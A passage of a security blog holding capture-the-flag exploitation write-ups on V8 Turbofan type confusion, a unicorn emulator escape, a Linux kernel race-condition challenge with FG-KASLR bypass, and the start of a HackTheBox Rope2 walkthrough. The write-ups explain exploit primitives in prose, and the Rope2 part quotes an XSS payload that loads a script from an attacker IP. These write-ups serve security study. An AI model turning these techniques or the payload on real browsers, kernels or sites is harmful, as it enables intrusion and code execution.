0xffff880001000000 (direct offset from physmap to default kernel physical load) map to the same physical location. </div><div class="separator" style="clear: both;"><br /></div><div class="separator" style="clear: both;">At this point, our exploitation strategy is ready to go. We flip the usermode bit to on for the page directory entry at 0x18fb060 to enable usermode access to this region of page directory related information. Now, with usermode access there, we can flip the writeable and usermode bit for the entry at 0x18fb040, and by referencing the offset of the brohammer function from the vaddr of kernel base based on physmap, we can now rewrite the code there due to the changed permissions. I just injected a simple commit_creds(init_cred) shellcode. Here is the final exploit:</div></div><div><br /></div><script src="https://gist.github.com/BitsByWill/bfdb2c6cd8a4b5a26f5c350a9fa5b0d1.js?file=exploit.c"></script><div><br /></div><div><div>Interestingly enough, as a few other players pointed out, the TLB caches permissions as well for the virtual to physical mappings, so this would have been problematic for the exploit in real life (as QEMU's behavior isn't exactly correct I believe). However, section 4.10.4.3 mentions how it would actually work fine after the first attempt at access (which triggers a spurious page-fault).</div><div><br /></div><div>Thanks once again for the interesting challenge, as well as my teammate c3bacd17 for working with me and proofreading this writeup!</div><div><br /></div><p><br /></p></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-77039931286917903122021-04-06T12:28:00.001-07:002021-04-06T12:45:05.241-07:00Turboflan PicoCTF 2021 Writeup (v8 + introductory turbofan pwnable)<p>This year, picoCTF 2021 introduced a series of browser pwns. The first of the series was a simple shellcoding challenge, the second one was another baby v8 challenge with unlimited OOB indexing (about the same difficulty as the v8 pwnable from my <a href="https://www.willsroot.io/2021/01/rope2-hackthebox-writeup-chromium-v8.html" target="_blank">Rope2 writeup</a> - I recommend you to read this if you are unfamiliar with v8 exploitation), but what really caught my attention was the last browser pwnable, turboflan, which involved a bug in the turbofan JIT optimizer in Chromium. For those unfamiliar with turbofan, <a href="https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/" target="_blank">the following post</a> from Jeremy Fetiveau is a nice read. I myself am still quite new to turbofan vulnerabilities, so please let me know if I made a mistake in my explanations.</p><div>Looking at the patch file, we see the following changes:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=patch.diff"></script></div><div><br /></div><div><div>The most important change is the first part in effect-control-linearizer.cc LowerCheckMaps(). When running through code, v8 first generates ignition bytecode, and if it runs for many more times, Turbofan JIT compiles the code based on the types it sees used previously. When the optimized function encounters a new type, it should usually deoptimize to avoid the dangers of type confusion.</div><div><br /></div><div>In the patch above, the challenge author specifically removed that deoptimization condition for when the map is different. This can easily lead to a bug by confusing 64 bit float arrays and object arrays (which consist of 32 bit pointers due to pointer compression).</div><div><br /></div><div>Let's now try to trigger the bug in the provided d8 (with --allow-natives-syntax --trace-turbo --trace-opt --trace-deopt).</div></div><div><br /></div><div>The first POC can be as simple as this:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=poc1.js"></script></div><div><br /></div><div>Running in a d8 shell results in the following:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-7fjAZrG30dg/YGoK_0atG8I/AAAAAAAAB98/p4tSPJQEIVk94YDz-NjGpLdlRt_Qjck5wCLcBGAsYHQ/s1256/d81.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="239" data-original-width="1256" height="122" src="https://1.bp.blogspot.com/-7fjAZrG30dg/YGoK_0atG8I/AAAAAAAAB98/p4tSPJQEIVk94YDz-NjGpLdlRt_Qjck5wCLcBGAsYHQ/w640-h122/d81.PNG" width="640" /></a></div><div><br /></div><div><div>The type confusion did not exist here; in fact, there doesn't even seem to be an optimization option here. Doing a bit more digging with %DisassembleFunction in an up to date debug d8, bug() simply got inlined. Turbofan most likely caught this type change early on (in fact, around or before the ByteCode Graph Builder phase according to Turbolyzer), hence causing it to just deoptimize as soon as the loop was finished.</div><div><br /></div><div>Knowing this, my next goal was to prevent inlining, and intuitively, it makes sense to just make the bugged function more complex to prevent such compiler behavior. I just tossed in a random for loop and it went away.</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=poc2.js"></script></div><div><br /></div><div>This time, we can see a type confusion in action:</div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ZrgRRRhwtqg/YGoLLyt99zI/AAAAAAAAB-A/39KsHJXKY6wD4laz3V5GOVw3HaXmEqq2wCLcBGAsYHQ/s1256/d82.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="1256" height="184" src="https://1.bp.blogspot.com/-ZrgRRRhwtqg/YGoLLyt99zI/AAAAAAAAB-A/39KsHJXKY6wD4laz3V5GOVw3HaXmEqq2wCLcBGAsYHQ/w640-h184/d82.PNG" width="640" /></a></div><div><br /></div><div><div>In fact, just out of curiosity, let us compare the Turbolyzer outputs (this graph analysis tool was really not necessary for this challenge, but becomes very important in any harder Turbofan bug) between this bugged d8 and a normal d8.</div><div><br /></div><div>In a normal d8, in TFEffectLinearization, the graph looks like the following:</div></div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-gM3Im4zD5O0/YGoYe8fkR9I/AAAAAAAAB-M/aNApZykzIo8MsRVIB07yvqWsAe34Mzt4wCLcBGAsYHQ/s690/turbo1.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="561" data-original-width="690" height="520" src="https://1.bp.blogspot.com/-gM3Im4zD5O0/YGoYe8fkR9I/AAAAAAAAB-M/aNApZykzIo8MsRVIB07yvqWsAe34Mzt4wCLcBGAsYHQ/w640-h520/turbo1.PNG" width="640" /></a></div><br /><div>In the bugged d8, the following is seen:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-lSPKPoLvsXI/YGoYowC7VBI/AAAAAAAAB-U/U4n5ENDL_UQ93P_ZesIUCFD8j9CNXQAZQCLcBGAsYHQ/s791/turbo2.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="570" data-original-width="791" height="462" src="https://1.bp.blogspot.com/-lSPKPoLvsXI/YGoYowC7VBI/AAAAAAAAB-U/U4n5ENDL_UQ93P_ZesIUCFD8j9CNXQAZQCLcBGAsYHQ/w640-h462/turbo2.PNG" width="640" /></a></div><div><br /></div>Notice how there is one less deoptimize condition node. One of the DeoptimizeUnless nodes in normal d8 is precisely where a check for a wrong map occurs. <br /><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6COkc94bV_Q/YGoYukIUJXI/AAAAAAAAB-Y/gdH1jH-jbZceA1yn97gtJNTdM_y1uoeaACLcBGAsYHQ/s614/turbo3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="614" height="228" src="https://1.bp.blogspot.com/-6COkc94bV_Q/YGoYukIUJXI/AAAAAAAAB-Y/gdH1jH-jbZceA1yn97gtJNTdM_y1uoeaACLcBGAsYHQ/w640-h228/turbo3.png" width="640" /></a></div><div><br /></div><br /><div>Now, let's begin to build some primitives that will eventually lead us to the addrof and fakeobj primitives. I created the following functions to help trigger the JIT bug:</div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=primitive1.js"></script></div><div><br /></div><div><div>Note that we are simply abusing type confusing between 64 bit float arrays and 32 bit object arrays (as pointers are now 32 bit due to pointer compression) here; we are not going out of bounds of the array length, as it will trigger a deoptimization due to other checks. Now, if we try to access idx 1 from an object array of 2 elements, it will actually hit arr[2] in the actual object array because the JIT code has been optimized for 64 bit arrays (similar to the Rope2 bug mentioned in a previous writeup).</div><div><br /></div><div>Knowing the above behavior of the bug, we can easily leak the map of an object array (as well as the property pointer of fixed arrays as a confused 64 bit read/write will encounter both when going out of bounds). In at least all pointer compression based versions of v8, the float array map is at a constant offset from the object array map (0x50 specifically), so we will also now have a float array map address.</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=leeks.js"></script></div><div><br /></div><div><div>At this point, addrof and fakeobj are trivial to achieve. To grab the address of any objects, we fill an object array of size 2 with the target object. Then, using the confused_write method, we can OOB write and replace the object array map pointer with a float array map pointer (while also preserving the fixed array property, though this step isn't necessary most of the times). Now, returning indices from our array would leak the object addresses (one should restore the original array state afterwards for stability's sake).</div><div><br /></div><div>fakeobj is even simpler. We can just use confused_write without OOB to directly change the addresses in the object array due to the type confusion, and return the new objects.</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=primitive2.js"></script></div><div><br /></div><div><div>Now, arb read and arb write can be achieved. Unlike my previous Rope2 writeup, I have since discovered that map pointers can constantly be reused, making these primitives much easier to build. For both primitives, you create a float array with the first element holding a map pointer. Then you create a fake object over the part of memory holding those values, edit the array (with the original array object) to modify where the length and the element pointer would be, and now indexing into the fake object will give you arb read and arb write.</div><div><br /></div><div>The rest of the exploit will become a generic Chrome exploit procedure without sandbox: initialize a wasm instance to create a rwx page, get the address of the wasm instance object, arb read its 64 bit pointer to the rwx page, and write shellcode outside the v8 heap (into the wasm page) by changing the 64 bit backing store pointer of an ArrayBuffer (use DataView to write to it). Then, calling the wasm function should trigger the shellcode. Sadly, the remote wasn't set up with an actual Chrome (it only used a d8), had strict firewall rules (so no reverse shells or bind shells), and would only let us see the stdout and stderr after running d8 (so no shell popping either); I just had to do a open read write shellcode :(</div><div><br /></div><div>Here is my final exploit:</div></div><div><br /></div><div><script src="https://gist.github.com/BitsByWill/efd2d55668e880fdfceca9583c86ca20.js?file=exploit.js"></script></div><div><br /></div><div>Overall, this was a very nice browser challenge to interest people into turbofan related bugs; thanks to the author wparks for making this pwnable and helping me clear up a few v8 related questions post-solve and my teammate pottm for the thorough proofread! These tasks were a refreshing change from the usual heap notes PicoCTF is famous for (though there were more format string tasks, which honestly are a crime against the category of pwn at this point and should just be removed from CTFs). For those interested in more advanced and realistic Turbofan challenges, I highly recommend the challenge Modern Typer made by Faith on HackTheBox.</div>Unknownnoreply@blogger.com3tag:blogger.com,1999:blog-8814147965526194982.post-5439130021458603242021-03-07T12:40:00.008-08:002021-03-09T08:10:05.578-08:00zer0pts CTF 2021 Nasm-Kit Writeup (unicorn engine emulator escape)<p>This weekend, I played in Zer0pts CTF with my team Crusaders of Rust (aka Richard Stallman and Rust during the competition). Perhaps the most interesting task my friend c3bacd17 and I solved was nasm-kit, which required us to escape an x86_64 emulator written with the unicorn engine.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-7MbC21s8JjQ/YEUoE5S5B1I/AAAAAAAAB88/utqChoMTexoBX72VC9E5c099FdMCgEmowCLcBGAsYHQ/s1480/chall.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="417" data-original-width="1480" height="181" src="https://1.bp.blogspot.com/-7MbC21s8JjQ/YEUoE5S5B1I/AAAAAAAAB88/utqChoMTexoBX72VC9E5c099FdMCgEmowCLcBGAsYHQ/w640-h181/chall.PNG" width="640" /></a></div><p>To start off, we were given source:</p><p><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=main.hpp"></script><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=main.cpp"></script></p><p>Looking over the code, it basically emulates the x86 instructions you send in. You only have 0x1000 bytes at most, and there is a code and a stack region setup by unicorn. There are a few handlers for segfaults and interrupts (which both terminate the program), a special syscall handler, and registers are initialized to null in the beginning. It also prints out your register state when the emulated process crashes (great for debugging!), and only allows mmap, munmap, write, exit, read, and exit_group in the syscall handler. Notice that the return values for all these syscalls are made non-standard by the handler. There's not really any vulnerable code here (I briefly considered that the mismatching new and delete operators in C++ could create issues, but I don't think it could lead to much here).</p><p>Below is the server side handler for the process.</p><p><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=server.py"></script></p><p>Note that we have to send in code for NASM only, and it attaches the lines necessary for 64 bit assembly. Your NASM code length must be under 0x1000, and incbin as well as macros are disabled. The filename for this is also randomized.</p><p>So, where exactly is the bug? Well, back from *CTF 2021, there was a riscv64 QEMU userland "escape" challenge (Favorite Architecture 2) I did, and I remember that the emulated process could access the emulator memory mappings; of course, unicorn engine was more strict, but a similar idea does work. Since we do have mmap, this is probably what we can abuse. </p><p>Looking through the <a href="https://man7.org/linux/man-pages/man2/mmap.2.html">mmap manpages</a>, a few flags caught my attention. MAP_FIXED allows me replace pre-existing memory pages, and MAP_FIXED_NOREPLACE is the same thing as MAP_FIXED, but won't replace your memory and just return an error if a collision happens (the fixed part means that you want mmap to take your requested address literally rather than as a hint).</p><p>Using these two concepts, we can easily find the emulator mapping processes even under ASLR. For example, to get ELF base with PIE, we can perform a search from 0x550000000000 with MAP_FIXED_NOREPLACE, using smaller length requests as you go from leftwards digits to rightwards digits and checking for collisions. One can also write a binary search, but I was working on this challenge at 2 AM and was simply too tired to bother doing so.</p><p>Then, once you have some mapping addresses from the emulator, you can now abuse MAP_FIXED to forcibly replace emulator pages. However, since we do not have open or openat to make a new fd, we have to use MAP_ANONYMOUS, which will null out the pages. c3bacd17 and I originally considered writing the shellcode for shell elsewhere in the nasm file, and then use our file fd with offset option to control the new memory there immediately, but the file was closed as soon as the code was read. Another potential way is to find some section of code that isn't usually used during emulation, mmap over that region, write the arb shellcode there, and then hope to have it trigger later on without breaking the process. This is what we did, but it took some bruteforcing and fiddling.</p><p>In my exploit, rather than searching for ELF base (as I could not find a good page to perform the aforementioned attack in the binary itself), I searched for libc. I began my search for 0x7f0000000000, and hunted for the third page mapped in that region, as that became a constant offset to libc base due to the behavior of mmap during program initialization. The offset does vary across systems so some bruteforce is necessary when going from local to remote. The first two pages in that range were not a constant offset from libc base; I believe those are used by the unicorn-engine but am not completely sure. </p><p>In libc itself, I chose one of the earlier 0x1000 pages of the .text segment, mmap'd over it, and filled the entire region with nops before ending it with an instruction to jmp to my shellcode (which I mmap'd at 0x13370000). This nop sled should really help with increasing reliability, and upon ending the emulated process in my shellcode, a shell did pop!</p><p>Here is my exploit:</p><p><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=exploit.c"></script></p><p>Of course for remote, you will need to encode this for NASM format. c3bacd17 wrote the following script to just encode the raw binary as dqwords to send to the server.</p><p><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=nasm_gen.py"></script></p><p>The script generated the following as our final payload:</p><p><script src="https://gist.github.com/BitsByWill/1f69f8b02070c8644c45ffd4364ff708.js?file=final.S"></script></p><p>And after a few tries since my mmap search was slightly slow, I ended up popping a shell!</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6kLOUhVpcaw/YEU3YRfFdwI/AAAAAAAAB9E/nLTUn4f0gr4-rRBt4V_og8BbUXB-f4uNACLcBGAsYHQ/s1401/solve.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="668" data-original-width="1401" height="306" src="https://1.bp.blogspot.com/-6kLOUhVpcaw/YEU3YRfFdwI/AAAAAAAAB9E/nLTUn4f0gr4-rRBt4V_og8BbUXB-f4uNACLcBGAsYHQ/w640-h306/solve.PNG" width="640" /></a></div><p>Thanks to <a href="https://ptr-yudai.hatenablog.com/" target="_blank">ptr-yudai</a> for this wonderful challenge, and the rest of the zer0pts CTF team for this amazing CTF!</p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8814147965526194982.post-70293683767004708582021-02-07T17:17:00.007-08:002021-11-05T20:38:43.441-07:00DiceCTF 2021 HashBrown Writeup: From Kernel Module Hashmap Resize Race Condition to FG-KASLR Bypass<p>This was the first time <a href="https://ctftime.org/event/1236" target="_blank">DiceCTF</a> has been hosted (by DiceGang), and overall, I think it was a quite a successful experience and the CTF had a high level of difficulty. I wrote a single challenge called HashBrown, which had 7 solves total. I thought I would make a brief and short writeup to summarize the intended path (which most solvers took).</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-qhOPqle30qs/YCCTaOcB-MI/AAAAAAAAB70/n-FzvHDsZhkMeT53D9tm4OWrhfmtPGXOQCLcBGAsYHQ/s879/chall_description.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="673" data-original-width="879" height="490" src="https://1.bp.blogspot.com/-qhOPqle30qs/YCCTaOcB-MI/AAAAAAAAB70/n-FzvHDsZhkMeT53D9tm4OWrhfmtPGXOQCLcBGAsYHQ/w640-h490/chall_description.PNG" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><p>The following is the challenge description.</p><p>The kernel version was version 5.11, with SMEP, KPTI, and SMAP on. SMEP and KPTI aren't really big deals, but SMAP can make the process a more painful.</p><p>Setting CONFIG_SLAB causes the kernel to not use the traditional default SLUB allocator (which preserves the freelist linked list metadata on the kernel heap); instead it uses the older SLAB allocator which doesn't keep metadata on the heap (but rather in a <a href="https://www.kernel.org/doc/gorman/html/understand/understand011.html" target="_blank">slab manager that stores freed indices with the kmem_bufctl_t field</a>). <a href="https://cateee.net/lkddb/web-lkddb/SLAB_FREELIST_RANDOM.html" target="_blank">SLAB_FREELIST_RANDOM</a> applies to both the SLAB and SLUB allocator, and is usually set in the kernels used in common distros (such as Ubuntu). I've experienced that feature multiple times during kernel exploits, and instead of having a nice linear heap that provides allocations in a deterministic order, the freelist order is scrambled and randomized upon initialization of new pages. Opening the module in GHIDRA/Binja/IDA also clearly reveals that usercopy is hardened.</p><p>The most important addition to this kernel challenge is <a href="https://lwn.net/Articles/824307/" target="_blank">FG-KASLR</a> (as I was inspired by <a href="https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/" target="_blank">HXP ctf's kernel rop challenge</a> that had FG-KASLR), which is a non mainline kernel security feature that provides extra randomization on top of KASLR. Usually, even with ASLR, you can rebase an entire binary by rebasing the leaks off of the non ASLR'd offsets. FG-KASLR brings an extra layer of protection (while also adding a second to the boot time) by compiling many of the functions in its own section, and re-scrambling all the sections during boot. Offset leaks should no longer be deterministic, but FG-KASLR only applies to functions that satifies the following criteria: the function is written in C and is not in a few special specific sections. Pointers to kernel data or some of the earlier parts of kernel code (and I think even the kpti trampoline that is useful in exploitation) remains at a constant offset from kernel base.</p><p>Now, let's take a look into the provided source code (players seem to have more fun with pwn when there is less reversing, so I released it 2 hours into the CTF):</p><p><script src="https://gist.github.com/BitsByWill/563d16c719951bb005a8e420749ad3b4.js?file=source.c"></script></p><p>To summarize the codebase, it is basically a hashmap in a driver, that can hold a maximum of 0x400 entries with a maximum array size of 0x200. Threshold is generally held at 0.75 and the hash function is copied from the JDK codebase before version 8. The overall code is also quite safe, as double frees, null dereferences, etc. are all checked throughout, and the linked list operations are also safe when collisions occur for the hashmap buckets. Size and error checks are also performed, and kzalloc() is used to null out newly allocated regions (to prevent leaks and such). However, having two mutex locks - one for resize and one for all other hashmap operations is quite strange, so perhaps it is a good idea to take a closer look at the resize function.</p><p>When resize is triggered, a new hashmap that has an array that is twice as large as the old one is initialized, but the global hashmap struct does not have its bucket field replaced yet. In order to not corrupt the linked list in the previous hashmap or lose hash entries, the module has to allocate new hash entries and copy over the data (including the value pointer of the key value pair of hashmap entries), and then place them in the newly allocated hashmap bucket accordingly (debugging this structure can be somewhat painful, so perhaps writing a gdb python handler can help). If the new request from the user is also valid, resize proceeds to userland copy the data over. Then, all the old hash_entries are freed (but not the values, as that won't make sense) and the old bucket is freed, before the global hashmap has its bucket array replaced.</p><p>While the resize function does sound safe, let us go back to the point about the 2 mutexes. Notice how a race condition can be created here? If we can get the hashmap resize to trigger and have it copy over values while also deleting a value (that is already copied over) from the current buckets, we can create a UAF scenario! If one mutex was used instead, or the bucket was replaced immediately in resize, this would not be an issue. I was hoping this would make for a more interesting CTF challenge bug, rather than a standard obvious heap note UAF or overflow by X scenario.</p><p>Now that we know the bug, we can come up with an exploitation plan. The first thing we need to do is to create a stable race scenario; otherwise your success rate will be quite low and you will run out resize operations really quickly. This is quite easy, as an add request when the threshold limit is hit causes the userland copy for the new entry to be handled in the code of resize(). We can use the classic userfaultfd pagefault technique to hang kernel threads on userland copy. </p><p>On a sidenote, that setting has been the default for a very long time, but has actually been <a href="https://elixir.bootlin.com/linux/v5.11-rc3/source/fs/userfaultfd.c#L31" target="_blank">disabled in the 5.11 release candidate codebase</a>; I had to make a one line patch in the kernel to revert it to the traditional behavior, but did not make note of that in the description as it is trivially easy to check that setting during OS runtime, would spoil the challenge if I explicitly changed the setting in the init script, and building the kernel with fg-kaslr with other versions was a mess.</p><p>Since the value allocations are capped at 0xb0, there is a limited range of useful kernel structures we can trigger to obtain leaks. A potential go-to would be seq_operations, but it only holds 4 function pointers that are all affected by FG-KASLR. I used <a href="https://elixir.bootlin.com/linux/v5.11-rc3/source/ipc/shm.c#L74" target="_blank">shm_file_data</a>, which contains pointers to kernel data. To leak this, we allocate just enough to the first threshold limit, and then trigger a resize. Once the resize function finishes copying over all the old hash_entries (including the value pointers), we use uffd technique to hang it, delete a value in another thread and use shmat to trigger an allocation of shm_file_data. After resize, we can still read that pointer value and we will be able to rebase kernel base.</p><p>In order to obtain arb write, we can follow a similar plan as the method used for leak. However, as SMAP is enabled, our options for gaining arb exec is quite limited. One nice technique to bypass SMAP is to overwrite some of the writeable strings the kernel uses in conjunction with usermode helper functions; modprobe_path is probably the most famous one, but many other also exist. We should use the race condition to UAF over a kmalloc-32 chunk to eventually overwrite the value pointer of a hash_entry that is allocated later. It is important to note that all the hash_entires in the current global bucket is freed as well, so the UAF'd chunk will not be the first chunk returned; you can easily check when you have control over a hash_entry by repeatedly using get_value. I noticed that the returning order of the freelist was somewhat deterministic but recall that this order was also scrambled in a previous kernel challenge; please let me know if you can clarify this part for me but I believe it is because a new page is not needed (and hence, shuffling doesn't occur).</p><p>Here is my final exploit and the result of running the exploit:</p><p><script src="https://gist.github.com/BitsByWill/563d16c719951bb005a8e420749ad3b4.js?file=exploit.c"></script></p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-hW5x3JaHUEc/YCBqblCZ5LI/AAAAAAAAB7o/NHoLqTfzeDEtJ41xXU7MdgWpY9vruHSTQCLcBGAsYHQ/s697/flag.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="203" data-original-width="697" height="186" src="https://1.bp.blogspot.com/-hW5x3JaHUEc/YCBqblCZ5LI/AAAAAAAAB7o/NHoLqTfzeDEtJ41xXU7MdgWpY9vruHSTQCLcBGAsYHQ/w640-h186/flag.PNG" width="640" /></a></div><p>Another interesting solution I saw came from LevitatingLion of RedRocket CTF team. The exploit used a nice arb read write primitive to start reading for kernel data at 0xffffffffc0000000 scanning for kernel data and the modprobe string (like a pseudo-egghunt) to bypass FG-KASLR.</p><p>Feel free to let me know if any of my explanations were wrong, or let me know if you have any questions. Congrats to Pernicious from RPISEC for taking first blood and D3v17 for doing last minute testing for me! Thanks once again to all those who participated in DiceCTF and fellow organizers (especially the infra people asphyxia and ginkoid), and make sure to check out the other writeups, such as kmh's extreme pyjail challenge <a href="https://kmh.zone/blog/2021/02/07/ti1337-plus-ce/" target="_blank">TI1337 Plus CE</a>, defund's <a href="https://priv.pub/posts/dicectf-2021/" target="_blank">crypto challs</a>, and NotDeGhost's Chromium sandbox escape challenge <a href="https://blog.robertchen.cc/2021/02/07/adult-csp/" target="_blank">Adult CSP</a>.</p>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-8814147965526194982.post-12861876393262442712021-01-16T07:00:00.003-08:002021-07-12T14:45:10.878-07:00Rope2 HackTheBox Writeup (Chromium V8, FSOP + glibc heap, Linux Kernel heap pwnable)<div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-gb1YeRxgFxk/X73DtImJFAI/AAAAAAAAB1k/ZP41y7ERhpQLF_rLdi3YIpm3mdmYK-4sQCLcBGAsYHQ/s412/Capture.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="142" data-original-width="412" height="138" src="https://1.bp.blogspot.com/-gb1YeRxgFxk/X73DtImJFAI/AAAAAAAAB1k/ZP41y7ERhpQLF_rLdi3YIpm3mdmYK-4sQCLcBGAsYHQ/w400-h138/Capture.JPG" width="400" /></a></div><p>Rope2 by <a href="https://twitter.com/r4j0x00" target="_blank">R4J</a> has been my favorite box on HackTheBox by far. It wasn't really related to pentesting, but was an immersive exploit dev experience, which is my favorite subject. To sum it up, this box was composed of a V8 Chromium pwnable and a difficult glibc heap (with FSOP) pwn for user, and then a heap pwn on a vulnerable kernel driver on Ubuntu 19.04. In the end, I also did end up taking second intended user and root blood, with both first intended bloods being claimed by <a href="https://twitter.com/sampriti0" target="_blank">Sampriti</a> of course; <a href="https://twitter.com/macz01590714" target="_blank">macz</a> also ended up taking third intended blood.</p><p>Before I start, I would like to acknowledge <a href="https://twitter.com/hexabeast" target="_blank">Hexabeast</a>, who worked with me on the v8 pwnable. I would also like to thank Sampriti and my teammate cfaeb1d for briefly discussing the user pwnable with me.</p><p>Initial enumeration is quite obvious. An nmap scan shows port 22, 5000, and 8000 open. On port 5000, it is a gitlab instance, and exploring around (http://rope2.htb:5000/explore/projects/starred), you can see chromium source code, with a patch by the challenge author. Use the gitlab website to download the source code at its current commit: http://ropetwo.htb:5000/root/v8/commit/7410f6809dd33e317f11f39ceaebaba9a88ea970</p><p>On port 8000, there is a website that allows us to submit a contact form. Since the gitlab makes it clear that this is a V8 pwnable, XSS would be an obvious vector. Testing something like <script src=http://10.10.14.9/exploit.js></script> showed a response on my local SimpleHTTPServer. Clearly, our path is to use the browser pwnable to write javascript code to gain RCE, from which we can trigger over the XSS.</p><p>Finding the bug is extremely easy. Take a look at the changed files in commit history. We notice that several files are changed, but the one that actually matters is builtin-arrays.cc. The other files were modified to properly introduce and incorporate the new function added in builtin-arrays.cc. </p><p><script src="https://gist.github.com/BitsByWill/4ef2b18cf4a16362edc5a3e44be1e681.js?file=browser1.cc"></script></p><p>In ArrayGetLastElement, it is returning the value of the array at array[len], which is an OOB read. in ArraySetLastElement, it expects two arguments. The first argument will be the “this” argument and the second argument is the value, which the element at array[len] will be set to. This is an obvious OOB write. This seems quite similar to Faith's famous *CTF OOB <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/" target="_blank">writeup</a>. One important thing to note here is that in December 2019, the V8 team introduced <a href="https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html" target="_blank">pointer compression</a> to the V8 heap. Basically, it's a pretty smart memory saving decision; rather than storing 64 bit pointers on the heap, most of the pointers will be treated as 32 bit (with only the bottom half of the qword stored), while the upper 32 bits (also known as the isolate root) is stored in the r13 register.</p><p>As mentioned earlier, the other files were just modified to support the addition of this new function for builtin arrays in V8.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-ev8y9yDD0JI/X73FhdouuqI/AAAAAAAAB1w/LG9gW11VP_kuEbVUThN40FIDoQjzi3CHwCLcBGAsYHQ/s969/miscpatches.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="788" data-original-width="969" height="520" src="https://1.bp.blogspot.com/-ev8y9yDD0JI/X73FhdouuqI/AAAAAAAAB1w/LG9gW11VP_kuEbVUThN40FIDoQjzi3CHwCLcBGAsYHQ/w640-h520/miscpatches.JPG" width="640" /></a></div><div><br /></div><div>typer.cc and bootstrapper.cc tells us that we can access these functions from builtin arrays with GetLastElement and SetLastElement.</div><div><br /></div><div>For some reason, only the compiled Chromium was provided. There was neither a d8 release nor a d8 debug binary. The repo was also missing certain Chromium build scripts as well; however, once everything is fixed correctly, the build instructions Faith provided regarding Chromium Depot tools, gclient, v8gen.py, and ninja should suffice for both release and debug. To avoid dependency hell, I ended up rolling out an 18.04 docker to deal with the compilation (check out a commit near the date of the gitlab commit before the vulnerable patch, and then add the patch back in; I know some of my other teammates also managed to build it by slowly fixing the missing dependencies).</div><div><br /></div><div>Before I start, I highly recommend you to check out Faith's <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/" target="_blank">writeup</a> or the famous <a href="http://www.phrack.org/papers/jit_exploitation.html" target="_blank">Phrack paper</a>, as those were the sources I relied heavily upon (my exploit is also very closely based upon Faith's). I'm still quite new to V8, so their explanations will probably be better, but the following is a summary of some important concepts I learned for personal notes.</div><div><br /></div><div>In V8 heap, there are three main types: smi, pointers, and doubles. Doubles are 64 bits, pointers are compressed to 32 bits (and tagged), and smi are 32 bits as well (with their values doubled to differentiate them from pointers). There are also several important components to an object on the V8 heap (which you can see by running debug d8 with --allow-natives-syntax option). One should also note that Chromium uses a different allocator known as PartitionAlloc for most things, instead of glibc's allocator (which d8 uses).</div><p>For every V8 object, there are several important pieces of data. Map is the most important; it is a pointer to data that contains type information. According to Phrack, data such as object size, element types, and prototype pointer is stored in the Map. The <a href="https://source.chromium.org/chromium/v8/v8.git/+/ec37390b2ba2b4051f46f153a8cc179ed4656f5d:src/elements-kind.h;l=14" target="_blank">following</a> is a list of element types (V8 currently has 21), but V8 mainly uses SMI_ELEMENTS, DOUBLE_ELEMENTS, and ELEMENTS (with each of them having the more efficient PACKED form and the more expensive HOLEY form). Another important piece of information is the elements (and properties) pointer, which point to a region that contains a pointer to another Map, a capacity size, and then the data/pointers indexed. Array objects also have an additional additional length field as well (lengths are represented as an smi). </p><p>Here is some sample output as an example for some of the terminology above (you can see how the fields are ordered from the debugging view as well):</p><div class="separator" style="clear: both; text-align: center;"><a href="https://1.bp.blogspot.com/-6b2P29qnK1w/X73HKcB_KOI/AAAAAAAAB18/FUTWNZ2GrwYMdCp3hnqm0lswnR-GxPB0gCLcBGAsYHQ/s807/browser1.JPG" style="margin-left: 